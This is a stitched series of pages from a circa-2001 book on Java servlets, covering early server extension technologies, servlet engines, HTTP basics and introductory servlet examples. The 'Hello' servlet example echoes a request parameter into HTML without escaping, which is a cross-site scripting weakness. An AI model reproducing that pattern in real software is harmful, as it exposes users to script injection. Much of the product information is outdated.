Several companies have created proprietary server extension APIs for their web servers. For example, Netscape provides an internal API called NSAPI (now becoming WAI) and Microsoft provides ISAPI. Using one of these APIs, you can write server extensions that enhance or change the base functionality of the server, allowing the server to handle tasks that were once relegated to external CGI programs. As you can see in Figure 1-3, server extensions exist within the main process of a web server.

Figure 1-3. The server extension life cycle

Because server-specific APIs use linked C or C++ code, server extensions can run extremely fast and make full use of the server's resources. Server extensions, however, are not a perfect solution by any means. Besides being difficult to develop and maintain, they pose significant security and reliability hazards: a crashed server extension can bring down the entire server. And, of course, proprietary server extensions are inextricably tied to the server API for which they were written--and often tied to a particular operating system as well.

1.1.2.2. Active Server Pages

Microsoft has developed a technique for generating dynamic web content called Active Server Pages, or sometimes just ASP. With ASP, an HTML page on the web server can contain snippets of embedded code (usually VBScript or JScript--although it's possible to use nearly any language). This code is read and executed by the web server before it sends the page to the client. ASP is optimized for generating small portions of dynamic content.

Support for ASP is built into Microsoft Internet Information Server Version 3.0 and above, available for free from http://www.microsoft.com/iis. Support for other web servers is available as a commercial product from Chili!Soft at http://www.chilisoft.com.

For more information on programming Active Server Pages, see http://www.microsoft.com/workshop/server/default.asp and http://www.activeserverpages.com/.

1.1.2.3. Server-side JavaScript

Netscape too has a technique for server-side scripting, which it calls server-side JavaScript, or SSJS for short. Like ASP, SSJS allows snippets of code to be embedded in HTML pages to generate dynamic web content. The difference is that SSJS uses JavaScript as the scripting language. With SSJS, web pages are precompiled to improve performance.

Support for server-side JavaScript is available only with Netscape FastTrack Server and Enterprise Server Version 2.0 and above.

For more information on programming with server-side JavaScript, see http://developer.netscape.com/tech/javascript/ssjs/ssjs.html.

1.1.3. Java Servlets

Enter Java servlets. As was said earlier, a servlet is a generic server extension--a Java class that can be loaded dynamically to expand the functionality of a server. Servlets are commonly used with web servers, where they can take the place of CGI scripts. A servlet is similar to a proprietary server extension, except that it runs inside a Java Virtual Machine (JVM) on the server (see Figure 1-4), so it is safe and portable. Servlets operate solely within the domain of the server: unlike applets, they do not require support for Java in the web browser.

Figure 1-4. The servlet life cycle

Unlike CGI and FastCGI, which use multiple processes to handle separate programs and/or separate requests, servlets are all handled by separate threads within the web server process. This means that servlets are also efficient and scalable. Because servlets run within the web server, they can interact very closely with the server to do things that are not possible with CGI scripts.

Another advantage of servlets is that they are portable: both across operating systems as we are used to with Java and also across web servers. As you'll see shortly, all of the major web servers support servlets. We believe that Java servlets offer the best possible platform for web application development, and we'll have much more to say about this later in the chapter.

Although servlets are most commonly used as a replacement for CGI scripts on a web server, they can extend any sort of server. Imagine, for example, a Java-based FTP server that handles each command with a separate servlet. New commands can be added by simply plugging in new servlets. Or, imagine a mail server that allows servlets to extend its functionality, perhaps by performing a virus scan on all attached documents or handling mail filtering tasks.

This book emphasizes the use of servlets as a replacement for CGI programs. We believe that, at least in the near term, most servlet developers will design and deploy servlets for use with HTTP servers. In the long term, however, other uses are likely to catch on, so this book takes pains to point out what functionality is applicable to generic servlets and what applies only to HTTP servlets. Whatever you hope to do with servlets, this book can help you with your task.

Previous | Home | Next
0.6. Acknowledgments | Book Index | 1.2. Support for Servlets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Support for Servlets (Java Servlet Programming)

 Java Servlet Programming Search this book

1.2. Support for Servlets

Like Java itself, servlets were designed for portability. Servlets are supported on all platforms that support Java, and servlets work with all the major web servers.[1] Java servlets, as defined by the Java Software division of Sun Microsystems (formerly known as JavaSoft), are the first standard extension to Java. This means that servlets are officially blessed by Sun and are part of the Java language, but they are not part of the core Java API. Therefore, although they may work with any Java Virtual Machine (JVM), servlet classes need not be bundled with all JVMs. More information about the Java Extension Framework is available at http//java.sun.com/ products/jdk/1.2/docs/guide/extensions.

[1] Note that several web server vendors have their own server-side Java implementations, some of which have also been given the name "servlets". These are generally incompatible with Java servlets as defined by Sun. Most of these vendors are converting their Java support to standard servlets, or are introducing standard servlet support in parallel, to allow backward compatibility.

To make it easy for you to develop servlets, Sun has made publicly available a set of classes that provide basic servlet support. The javax.servlet and javax.servlet.http packages constitute this Servlet API. Version 2.0 of these classes comes bundled with the Java Servlet Development Kit (JSDK) for use with the Java Development Kit version 1.1 and above; the JDSK is available for download from http://java.sun.com/products/servlet/. [2]

[2] At one point it was planned the contents of the JSDK would come bundled as part of JDK 1.2. However, it was later decided to keep the servlet classes separate from the JDK, to better allow for timely revisions and corrections to the JSDK.

Many web server vendors have incorporated these classes into their servers to provide servlet support, and several have also provided additional functionality. Sun's Java Web Server, for instance, includes a proprietary interface to the server's security features.

It doesn't much matter where you get the servlet classes, as long as you have them on your system, since you need them to compile your servlets. In addition to the servlet classes, you need a servlet engine, so that you can test and deploy your servlets. Your choice of servlet engine depends in part on the web server(s) you are running. There are three flavors of servlet engines: standalone, add-on, and embeddable.

1.2.1. Standalone Servlet Engines

A standalone engine is a server that includes built-in support for servlets. Such an engine has the advantage that everything works right out of the box. One disadvantage, however, is that you have to wait for a new release of the web server to get the latest servlet support. Because servlets are still fairly new, this sort of server is still a bit of a rarity. As the various vendors upgrade their web servers, we expect that many of the servers will provide built-in support for servlets.

Standalone engines in web servers include the following:

  • Sun's Java Web Server (formerly called "Jeeves"), unofficially considered the reference implementation for how a servlet engine should support servlets. Written entirely in Java (except for two native code libraries that enhance its functionality but are not needed). See http://java.sun.com/products/.

  • The World Wide Web Consortium's Jigsaw Server, freely available and also written entirely in Java. See http://www.w3.org/Jigsaw.

  • O'Reilly's WebSite Professional (Version 2.1 and later), the first server not written in Java to provide built-in servlet support. See http://website.oreilly.com.

  • Netscape's Enterprise Server (Version 3.51 and later), the most popular web server to provide built-in servlet support. Unfortunately, Version 3.51 supports only the early Servlet API 1.0 and suffers from a number of bugs so significant it's almost unusable. For the time being, use an add-on servlet engine with Netscape servers instead. See http://home.netscape.com/download.

  • Lotus's Domino Go Webserver (Version 4.6 and later), another popular web server with built-in servlet support. Version 4.6.x supports only the early Servlet API 1.0; however, Lotus claims to be replacing its proprietary GWAPI server extension technology with Java servlets, so it's likely that future versions of the Domino Go Webserver will include robust servlet support. See http://www.lotus.com/dominogowebserver/.

Application servers are a fertile new area of development. An application server offers server-side support for developing enterprise-based applications. Here are two application servers that include servlet engines:

  • WebLogic's Tengah Application Server, a high-end server written entirely in Java. See http://www.weblogic.com/products/tengahindex.html.

  • ATG's Dynamo Application Server 3, another high-end server written entirely in Java. See http://www.atg.com/.

1.2.2. Add-on Servlet Engines

An add-on servlet engine functions as a plug-in to an existing server--it adds servlet support to a server that was not originally designed with servlets in mind. Add-on servlet engines have been written for many servers including Apache, Netscape's FastTrack Server and Enterprise Server, Microsoft's Internet Information Server and Personal Web Server, O'Reilly's WebSite, Lotus Domino's Go Webserver, StarNine's WebSTAR, and Apple's AppleShare IP. This type of engine acts as a stopgap solution until a future server release incorporates servlet support. A plug-in also can be used with a server that provides a poor or outdated servlet implementation.

Add-on servlet engines include these:

  • The Java-Apache project's JServ module, a freely available servlet engine that adds servlet support to the extremely popular Apache server. See http://java.apache.org/.

  • Live Software's JRun, a freely available plug-in designed to support the full Servlet API on all the popular web servers on all the popular operating systems. The latest version even features a basic web server for development purposes. See http://www.livesoftware.com/products/jrun/.

  • IBM's WebSphere Application Server (formerly known as ServletExpress), a plug-in that is being called an application server. It is designed to support the full Servlet API on several popular web servers on several popular operating systems. See http://www.software.ibm.com/webservers/.

  • New Atlanta's ServletExec, a plug-in designed to support the full Servlet API on several web servers on several operating systems. See http://www.newatlanta.com/.

  • Gefion Software's WAICoolRunner, a freely available plug-in that supports most of the Servlet API on Netscape's FastTrack Server and Enterprise Server versions 3.x and later, written in Java using Netscape's WAI interface. See http://www.gefionsoftware.com/WAICoolRunner/.

  • Unicom's Servlet CGI Development Kit, a freely available framework that supports servlets on top of CGI. What it lacks in efficiency it makes up for in ubiquity. See http://www.unicom.net/java/.

1.2.3. Embeddable Servlet Engines

An embeddable engine is generally a lightweight servlet deployment platform that can be embedded in another application. That application becomes the true server.

Embeddable servlet engines include the following:

  • Sun's JavaServer Engine, a high-quality, high-end framework for designing and building Java servers. Sun's Java Web Server and IBM's WebSphere Application Server were built using the Java Server Engine. See http://java.sun.com/products/javaserverengine/.

  • Jef Poskanzer's Acme.Serve, a freely available, simple web server that runs servlets "more or less compatible" with the Servlet API. See http://www.acme.com/java/software/Package-Acme.Serve.html.

  • Paralogic's WebCore, a freely available but unsupported embeddable web server, written entirely in Java. It incorporates parts of Acme.Serve. See http://www.paralogic.com/webcore/.

  • Anders Kristensen's Nexus Web Server, a freely available servlet runner that implements most of the Servlet API and can be easily embedded in Java applications. See http://www-uk.hpl.hp.com/people/ak/java/nexus/.

1.2.4. Additional Thoughts

Before proceeding, we feel obliged to point out that not all servlet engines are created equal. So, before you choose a servlet engine (and possibly a server) with which to deploy your servlets, take it out for a test drive. Kick its tires a little. Check the mailing lists. Always verify that your servlets behave as they do in the Java Web Server implementation. With servlets, you don't have to worry about the lowest-common-denominator implementation, so you should pick a servlet engine that has the functionality that you want.

For a complete, up-to-date list of available servlet engines, see the official list maintained by Sun at:

http://jserv.java.sun.com/products/java-server/servlets/environments.html

Previous | Home | Next
1.1. History of Web Applications | Book Index | 1.3. The Power of Servlets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Power of Servlets (Java Servlet Programming)

 Java Servlet Programming Search this book

1.3. The Power of Servlets

So far, we have portrayed servlets as an alternative to other dynamic web content technologies, but we haven't really explained why we think you should use them. What makes servlets a viable choice for web development? We believe that servlets offer a number of advantages over other approaches, including: portability, power, efficiency, endurance, safety, elegance, integration, extensibility, and flexibility. Let's examine each in turn.

1.3.1. Portability

Because servlets are written in Java and conform to a well-defined and widely accepted API, they are highly portable across operating systems and across server implementations. You can develop a servlet on a Windows NT machine running the Java Web Server and later deploy it effortlessly on a high-end Unix server running Apache. With servlets, you can truly "write once, serve everywhere."

Servlet portability is not the stumbling block it so often is with applets, for two reasons. First, servlet portability is not mandatory. Unlike applets, which have to be tested on all possible client platforms, servlets have to work only on the server machines that you are using for development and deployment. Unless you are in the business of selling your servlets, you don't have to worry about complete portability. Second, servlets avoid the most error-prone and inconsistently implemented portion of the Java language: the Abstract Windowing Toolkit (AWT) that forms the basis of Java graphical user interfaces.

1.3.2. Power

Servlets can harness the full power of the core Java APIs: networking and URL access, multithreading, image manipulation, data compression, database connectivity, internationalization, remote method invocation (RMI), CORBA connectivity, and object serialization, among others. If you want to write a web application that allows employees to query a corporate legacy database, you can take advantage of all of the Java Enterprise APIs in doing so. Or, if you need to create a web-based directory lookup application, you can make use of the JNDI API.

As a servlet author, you can also pick and choose from a plethora of third-party Java classes and JavaBeans components. In the future, you'll even be able to use newly introduced Enterprise JavaBeans components. Today, servlets can use third-party code to handle tasks such as regular expression searching, data charting, advanced database access, and advanced networking.

Servlets are also well suited for enabling client/server communication. With a Java-based applet and a Java-based servlet, you can use RMI and object serialization to handle client/server communication, which means that you can leverage the same custom code on the client as on the server. Using CGI for the same purpose is much more complicated, as you have to develop your own custom protocol to handle the communication.

1.3.3. Efficiency and Endurance

Servlet invocation is highly efficient. Once a servlet is loaded, it generally remains in the server's memory as a single object instance. Thereafter, the server invokes the servlet to handle a request using a simple, lightweight method invocation. Unlike with CGI, there's no process to spawn or interpreter to invoke, so the servlet can begin handling the request almost immediately. Multiple, concurrent requests are handled by separate threads, so servlets are highly scalable.

Servlets, in general, are naturally enduring objects. Because a servlet stays in the server's memory as a single object instance, it automatically maintains its state and can hold on to external resources, such as database connections, that may otherwise take several seconds to establish.

1.3.4. Safety

Servlets support safe programming practices on a number of levels. Because they are written in Java, servlets inherit the strong type safety of the Java language. In addition, the Servlet API is implemented to be type-safe. While most values in a CGI program, including a numeric item like a server port number, are treated as strings, values are manipulated by the Servlet API using their native types, so a server port number is represented as an integer. Java's automatic garbage collection and lack of pointers mean that servlets are generally safe from memory management problems like dangling pointers, invalid pointer references, and memory leaks.

Servlets can handle errors safely, due to Java's exception-handling mechanism. If a servlet divides by zero or performs some other illegal operation, it throws an exception that can be safely caught and handled by the server, which can politely log the error and apologize to the user. If a C++-based server extension were to make the same mistake, it could potentially crash the server.

A server can further protect itself from servlets through the use of a Java security manager. A server can execute its servlets under the watch of a strict security manager that, for example, enforces a security policy designed to prevent a malicious or poorly written servlet from damaging the server file system.

1.3.5. Elegance

The elegance of servlet code is striking. Servlet code is clean, object oriented, modular, and amazingly simple. One reason for this simplicity is the Servlet API itself, which includes methods and classes to handle many of the routine chores of servlet development. Even advanced operations, like cookie handling and session tracking, are abstracted into convenient classes. A few more advanced but still common tasks were left out of the API, and, in those places, we have tried to step in and provide a set of helpful classes in the com.oreilly.servlet package.

1.3.6. Integration

Servlets are tightly integrated with the server. This integration allows a servlet to cooperate with the server in ways that a CGI program cannot. For example, a servlet can use the server to translate file paths, perform logging, check authorization, perform MIME type mapping, and, in some cases, even add users to the server's user database. Server-specific extensions can do much of this, but the process is usually much more complex and error-prone.

1.3.7. Extensibility and Flexibility

The Servlet API is designed to be easily extensible. As it stands today, the API includes classes that are optimized for HTTP servlets. But at a later date, it could be extended and optimized for another type of servlets, either by Sun or by a third party. It is also possible that its support for HTTP servlets could be further enhanced.

Servlets are also quite flexible. As you'll see in the next chapter, an HTTP servlet can be used to generate a complete web page; it can be added to a static page using a <SERVLET> tag in what's known as a server-side include; and it can be used in cooperation with any number of other servlets to filter content in something called a servlet chain. In addition, just before this book went to press, Sun introduced JavaServer Pages, which offer a way to write snippets of servlet code directly within a static HTML page, using a syntax that is curiously similar to Microsoft's Active Server Pages (ASP). Who knows what they (or you) will come up with next.

Previous | Home | Next
1.2. Support for Servlets | Book Index | 2. HTTP Servlet Basics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP Servlet Basics (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 2. HTTP Servlet Basics

Contents:

HTTP Basics
The Servlet API
Page Generation
Server-Side Includes
Servlet Chaining and Filters
JavaServer Pages
Moving On

This chapter provides a quick introduction to some of the things an HTTP servlet can do. For example, an HTTP servlet can generate an HTML page, either when the servlet is accessed explicitly by name, by following a hypertext link, or as the result of a form submission. An HTTP servlet can also be embedded inside an HTML page, where it functions as a server-side include. Servlets can be chained together to produce complex effects--one common use of this technique is for filtering content. Finally, snippets of servlet code can be embedded directly in HTML pages using a new technique called JavaServer Pages.

Although the code for each of the examples in this chapter is available for download (as described in the the Preface), we would suggest that for these first examples you deny yourself the convenience of the Internet and type in the examples. It should help the concepts seep into your brain.

Don't be alarmed if we seem to skim lightly over some topics in this chapter. Servlets are powerful and, at times, complicated. The point here is to give you a general overview of how things work, before jumping in and overwhelming you with all of the details. By the end of this book, we promise that you'll be able to write servlets that do everything but make tea.

2.1. HTTP Basics

Before we can even show you a simple HTTP servlet, we need to make sure that you have a basic understanding of how the protocol behind the Web, HTTP, works. If you're an experienced CGI programmer (or if you've done any serious server-side web programming), you can safely skip this section. Better yet, you might skim it to refresh your memory about the finer points of the GET and POST methods. If you are new to the world of server-side web programming, however, you should read this material carefully, as the rest of the book is going to assume that you understand HTTP. For a more thorough discussion of HTTP and its methods, see Web Client Programmingby Clinton Wong (O'Reilly).

2.1.1. Requests, Responses, and Headers

HTTP is a simple, stateless protocol. A client, such as a web browser, makes a request, the web server responds, and the transaction is done. When the client sends a request, the first thing it specifies is an HTTP command, called a method , that tells the server the type of action it wants performed. This first line of the request also specifies the address of a document (a URL) and the version of the HTTP protocol it is using. For example:

GET /intro.html HTTP/1.0

This request uses the GET method to ask for the document named intro.html, using HTTP Version 1.0. After sending the request, the client can send optional header information to tell the server extra information about the request, such as what software the client is running and what content types it understands. This information doesn't directly pertain to what was requested, but it could be used by the server in generating its response. Here are some sample request headers:

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Accept: image/gif, image/jpeg, text/*, */*

The User-Agent header provides information about the client software, while the Accept header specifies the media (MIME) types that the client prefers to accept. (We'll talk more about request headers in the context of servlets in Chapter 4, "Retrieving Information".) After the headers, the client sends a blank line, to indicate the end of the header section. The client can also send additional data, if appropriate for the method being used, as it is with the POST method that we'll discuss shortly. If the request doesn't send any data, it ends with an empty line.

After the client sends the request, the server processes it and sends back a response. The first line of the response is a status line that specifies the version of the HTTP protocol the server is using, a status code, and a description of the status code. For example:

HTTP/1.0 200 OK

This status line includes a status code of 200, which indicates that the request was successful, hence the description "OK". Another common status code is 404, with the description "Not Found"--as you can guess, this means that the requested document was not found. Chapter 5, "Sending HTML Information", discusses common status codes and how you can use them in servlets, while Appendix C, "HTTP Status Codes", provides a complete list of HTTP status codes.

After the status line, the server sends response headers that tell the client things like what software the server is running and the content type of the server's response. For example:

Date: Saturday, 23-May-98 03:25:12 GMT
Server: JavaWebServer/1.1.1
MIME-version: 1.0
Content-type: text/html
Content-length: 1029
Last-modified: Thursday, 7-May-98 12:15:35 GMT

The Server header provides information about the server software, while the Content-type header specifies the MIME type of the data included with the response. (We'll also talk more about response headers in Chapter 5, "Sending HTML Information".) The server sends a blank line after the headers, to conclude the header section. If the request was successful, the requested data is then sent as part of the response. Otherwise, the response may contain human-readable data that explains why the server couldn't fulfill the request.

2.1.2. GET and POST

When a client connects to a server and makes an HTTP request, the request can be of several different types, called methods. The most frequently used methods are GET and POST. Put simply, the GET method is designed for getting information (a document, a chart, or the results from a database query), while the POST method is designed for posting information (a credit card number, some new chart data, or information that is to be stored in a database). To use a bulletin board analogy, GET is for reading and POST is for tacking up new material.

The GET method, although it's designed for reading information, can include as part of the request some of its own information that better describes what to get--such as an x, y scale for a dynamically created chart. This information is passed as a sequence of characters appended to the request URL in what's called a query string. Placing the extra information in the URL in this way allows the page to be bookmarked or emailed like any other. Because GET requests theoretically shouldn't need to send large amounts of information, some servers limit the length of URLs and query strings to about 240 characters.

The POST method uses a different technique to send information to the server because in some cases it may need to send megabytes of information. A POST request passes all its data, of unlimited length, directly over the socket connection as part of its HTTP request body. The exchange is invisible to the client. The URL doesn't change at all. Consequently, POST requests cannot be bookmarked or emailed or, in some cases, even reloaded. That's by design--information sent to the server, such as your credit card number, should be sent only once.

In practice, the use of GET and POST has strayed from the original intent. It's common for long parameterized requests for information to use POST instead of GET to work around problems with overly-long URLs. It's also common for simple forms that upload information to use GET because, well--why not, it works! Generally, this isn't much of a problem. Just remember that GET requests, because they can be bookmarked so easily, should not be allowed to cause damage for which the client could be held responsible. In other words, GET requests should not be used to place an order, update a database, or take an explicit client action in any way.

2.1.3. Other Methods

In addition to GET and POST, there are several other lesser-used HTTP methods. There's the HEAD method, which is sent by a client when it wants to see only the headers of the response, to determine the document's size, modification time, or general availability. There's also PUT, to place documents directly on the server, and DELETE, to do just the opposite. These last two aren't widely supported due to complicated policy issues. The TRACE method is used as a debugging aid--it returns to the client the exact contents of its request. Finally, the OPTIONS method can be used to ask the server which methods it supports or what options are available for a particular resource on the server.

Previous | Home | Next
1.3. The Power of Servlets | Book Index | 2.2. The Servlet API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Servlet API (Java Servlet Programming)

 Java Servlet Programming Search this book

2.2. The Servlet API

Now that you have a basic understanding of HTTP, we can move on and talk about the Servlet API that you'll be using to create HTTP servlets, or any kind of servlets, for that matter. Servlets use classes and interfaces from two packages: javax.servlet and javax.servlet.http . The javax.servlet package contains classes to support generic, protocol-independent servlets. These classes are extended by the classes in the javax.servlet.http package to add HTTP-specific functionality. The top-level package name is javax instead of the familiar java, to indicate that the Servlet API is a standard extension.

Every servlet must implement the javax.servlet.Servlet interface. Most servlets implement it by extending one of two special classes: javax. servlet.GenericServlet or javax.servlet.http.HttpServlet . A protocol-independent servlet should subclass GenericServlet, while an HTTP servlet should subclass HttpServlet, which is itself a subclass of GenericServlet with added HTTP-specific functionality.

Unlike a regular Java program, and just like an applet, a servlet does not have a main() method. Instead, certain methods of a servlet are invoked by the server in the process of handling requests. Each time the server dispatches a request to a servlet, it invokes the servlet's service() method.

A generic servlet should override its service() method to handle requests as appropriate for the servlet. The service() method accepts two parameters: a request object and a response object. The request object tells the servlet about the request, while the response object is used to return a response. Figure 2-1 shows how a generic servlet handles requests.

Figure 2-1. A generic servlet handling a request

In contrast, an HTTP servlet usually does not override the service() method. Instead, it overrides doGet() to handle GET requests and doPost() to handle POST requests. An HTTP servlet can override either or both of these methods, depending on the type of requests it needs to handle. The service() method of HttpServlet handles the setup and dispatching to all the do XXX() methods, which is why it usually should not be overridden. Figure 2-2 shows how an HTTP servlet handles GET and POST requests.

Figure 2-2. An HTTP servlet handling GET and POST requests

An HTTP servlet can override the doPut() and doDelete() methods to handle PUT and DELETE requests, respectively. However, HTTP servlets generally don't touch doHead() , doTrace() , or doOptions() . For these, the default implementations are almost always sufficient.

The remainder in the javax.servlet and javax.servlet.http packages are largely support classes. For example, the ServletRequest and ServletResponse classes in javax.servlet provide access to generic server requests and responses, while HttpServletRequest and HttpServletResponse in javax.servlet.http provide access to HTTP requests and responses. The javax.servlet.http package also contains an HttpSession class that provides built-in session tracking functionality and a Cookie class that allows you to quickly set up and process HTTP cookies.

Previous | Home | Next
2.1. HTTP Basics | Book Index | 2.3. Page Generation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Page Generation (Java Servlet Programming)

 Java Servlet Programming Search this book

2.3. Page Generation

The most basic type of HTTP servlet generates a full HTML page. Such a servlet has access to the same information usually sent to a CGI script, plus a bit more. A servlet that generates an HTML page can be used for all the tasks where CGI is used currently, such as for processing HTML forms, producing reports from a database, taking orders, checking identities, and so forth.

2.3.1. Writing Hello World

Example 2-1 shows an HTTP servlet that generates a complete HTML page. To keep things as simple as possible, this servlet just says "Hello World" every time it is accessed via a web browser.[1]

[1]Fun trivia: the first instance of a documented "Hello World" program appeared in A Tutorial Introduction to the Language B, written by Brian Kernighan in 1973. For those too young to remember, B was a pre-cursor to C. You can find more information on the B programming language and a link to the tutorial at http://cm.bell-labs.com/who/dmr/bintro.html.

Example 2-1. A servlet that prints "Hello World"

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWorld extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello World</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<BIG>Hello World</BIG>");
    out.println("</BODY></HTML>");
  }
}

This servlet extends the HttpServlet class and overrides the doGet() method inherited from it. Each time the web server receives a GET request for this servlet, the server invokes this doGet() method, passing it an HttpServletRequest object and an HttpServletResponse object.

The HttpServletRequest represents the client's request. This object gives a servlet access to information about the client, the parameters for this request, the HTTP headers passed along with the request, and so forth. Chapter 4, "Retrieving Information" explains the full capabilities of the request object. For this example, we can completely ignore it. After all, this servlet is going to say "Hello World" no matter what the request!

The HttpServletResponse represents the servlet's response. A servlet can use this object to return data to the client. This data can be of any content type, though the type should be specified as part of the response. A servlet can also use this object to set HTTP response headers. Chapter 5, "Sending HTML Information" and Chapter 6, "Sending Multimedia Content", explain everything a servlet can do as part of its response.

Our servlet first uses the setContentType() method of the response object to set the content type of its response to "text/html", the standard MIME content type for HTML pages. Then, it uses the getWriter() method to retrieve a PrintWriter , the international-friendly counterpart to a PrintStream. PrintWriter converts Java's Unicode characters to a locale-specific encoding. For an English locale, it behaves same as a PrintStream. Finally, the servlet uses this PrintWriter to send its "Hello World" HTML to the client.

That's it! That's all the code needed to say hello to everyone who "surfs" to our servlet.

2.3.2. Running Hello World

When developing servlets you need two things: the Servlet API class files, which are used for compiling, and a servlet engine such as a web server, which is used for deployment. To obtain the Servlet API class files, you have several options:

  • Install the Java Servlet Development Kit (JSDK), available for free at http://java.sun.com/products/servlet/. JSDK Version 2.0 contains the class files for the Servlet API 2.0, along with their source code and a simple web server that acts as a servlet engine for HTTP servlets. It works with JDK 1.1 and later. (Note that the JSDK is the Servlet API reference implementation, and as such its version number determines the Servlet API version number.)

  • Install one of the many full-featured servlet engines, each of which typically bundles the Servlet API class files.

There are dozens of servlet engines available for servlet deployment, several of which are listed in Chapter 1, "Introduction". Why not use the servlet engine included in JSDK 2.0? Because that servlet engine is bare-bones simple. It implements the Servlet API 2.0 and nothing more. Features like robust session tracking, server-side includes, servlet chaining, and JavaServer Pages have been left out because they are technically not part of the Servlet API. For these features, you need to use a full-fledged servlet engine like the Java Web Server or one of its competitors.

So, what do we do with our code to make it run in a web server? Well, it depends on your web server. The examples in this book use Sun's Java Web Server 1.1.1, unofficially considered the reference implementation for how a web server should support servlets. It's free for educational use and has a 30-day trial period for all other use. You can download a copy from http://java.sun.com/products. The Java Web Server includes plenty of documentation explaining the use of the server, so while we discuss the general concepts involved with managing the server, we're leaving the details to Sun's documentation. If you choose to use another web server, these examples should work for you, but we cannot make any guarantees.

If you are using the Java Web Server, you should put the source code for the servlet in the server_root/servlets directory (where server_root is the directory where you installed your server). This is the standard location for servlet class files. Once you have the "Hello World" source code in the right location, you need to compile it. The standard javac compiler (or your favorite graphical Java development environment) can do the job. Just be sure you have the javax.servlet and javax.servlet.http packages in your classpath. With the Java Web Server, all you have to do is include server_root/lib/jws.jar (or a future equivalent) somewhere in your classpath.

Now that you have your first servlet compiled, there is nothing more to do but start your server and access the servlet! Starting the server is easy. Look for the httpd script (or httpd.exe program under Windows) in the server_root/bin directory. This should start your server if you're running under Solaris or Windows. On other operating systems, or if you want to use your own Java Runtime Environment (JRE), you'll need to use httpd.nojre. In the default configuration, the server listens on port 8080.

There are several ways to access a servlet. For this example, we'll do it by explicitly accessing a URL with /servlet/ prepended to the servlet's class name.[2] You can enter this URL in your favorite browser: http://server:8080/servlet/HelloWorld. Replace server with the name of your server machine or with localhost if the server is on your local machine. You should see a page similar to the one shown in Figure 2-3.

[2] Beware, servlets are placed in a servlets (plural) directory but are invoked with a servlet(singular) tag. If you think about it, this makes a certain amount of sense, as servlets go in the servlets directory while a single servlet is referenced with the servlet tag.

Figure 2-3. The Hello World servlet

If the servlet were part of a package, it would need to be placed in server_root/servlets/package/name and referred to with the URL http://server:8080/servlet/package.name.HelloWorld.

An alternate way to refer to a servlet is by its registered name. This does not have to be the same as its class name, although it can be. With the Java Web Server, you register servlets via the JavaServer Administration Tool, an administration applet that manages the server, usually available at http://server:9090/. Choose to manage the Web Service, go to the Servlets section, and then Add a new servlet. Here you can specify the name of the new servlet and the class associated with that name (on some servers the class can be an HTTP URL from which the servlet class file will be automatically loaded). If we choose the name "hi" for our HelloWorld servlet, we can then access it at the URL http://server:8080/servlet/hi. You may wonder why anyone would bother adding a servlet to her server. The short answer appropriate for Chapter 2, "HTTP Servlet Basics" is that it allows the server to remember things about the servlet and give it special treatment.

A third way to access a servlet is through a servlet alias. The URL of a servlet alias looks like any other URL. The only difference is that the server has been told that the URL should be handled by a particular servlet. For example, we can choose to have http://server:8080/hello.html invoke the HelloWorld servlet. Using aliases in this way can help hide a site's use of servlets; it lets a servlet seamlessly replace an existing page at any given URL. To create a servlet alias, choose to manage the Web Service, go to the Setup section, choose Servlet Aliases, and then Add the alias.

2.3.3. Handling Form Data

The "Hello World" servlet is not very exciting, so let's try something slightly more ambitious. This time we'll create a servlet that greets the user by name. It's not hard. First, we need an HTML form that asks the user for his or her name. The following page should suffice:

<HTML>
<HEAD>
<TITLE>Introductions</TITLE>
</HEAD>
<BODY>
<FORM METHOD=GET ACTION="/servlet/Hello">
If you don't mind me asking, what is your name?
<INPUT TYPE=TEXT NAME="name"><P>
<INPUT TYPE=SUBMIT>
</FORM>
</BODY>
</HTML>

Figure 2-4 shows how this page appears to the user.

Figure 2-4. An HTML form

When the user submits this form, his name is sent to the Hello servlet because we've set the ACTION attribute to point to the servlet. The form is using the GET method, so any data is appended to the request URL as a query string. For example, if the user enters the name "Inigo Montoya," the request URL is http://server:8080/servlet/Hello?name=Inigo+Montoya. The space in the name is specially encoded as a plus sign by the browser because URLs cannot contain spaces.

A servlet's HttpServletRequest object gives it access to the form data in its query string. Example 2-2 shows a modified version of our Hello servlet that uses its request object to read the "name" parameter.

Example 2-2. A servlet that knows to whom it's saying hello

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Hello extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    String name = req.getParameter("name");
    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello, " + name + "</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("Hello, " + name);
    out.println("</BODY></HTML>");
  }

  public String getServletInfo() {
    return "A servlet that knows the name of the person to whom it's" +
           "saying hello";
  }
}

This servlet is nearly identical to the HelloWorld servlet. The most important change is that it now calls req.getParameter("name") to find out the name of the user and that it then prints this name instead of the harshly impersonal (not to mention overly broad) "World". The getParameter() method gives a servlet access to the parameters in its query string. It returns the parameter's decoded value or null if the parameter was not specified. If the parameter was sent but without a value, as in the case of an empty form field, getParameter() returns the empty string.

This servlet also adds a getServletInfo() method. A servlet can override this method to return descriptive information about itself, such as its purpose, author, version, and/or copyright. It's akin to an applet's getAppletInfo() . The method is used primarily for putting explanatory information into a web server administration tool. You'll notice we won't bother to include it in future examples because it is clutter for learning.

The servlet's output looks something like what is shown in Figure 2-5.

Figure 2-5. The Hello servlet using form data

2.3.4. Handling POST Requests

You've now seen two servlets that implement the doGet() method. Now let's change our Hello servlet so that it can handle POST requests as well. Because we want the same behavior with POST as we had for GET, we can simply dispatch all POST requests to the doGet() method with the following code:

public void doPost(HttpServletRequest req, HttpServletResponse res)
                              throws ServletException, IOException {
  doGet(req, res);
}

Now the Hello servlet can handle form submissions that use the POST method:

<FORM METHOD=POST ACTION="/servlet/Hello">

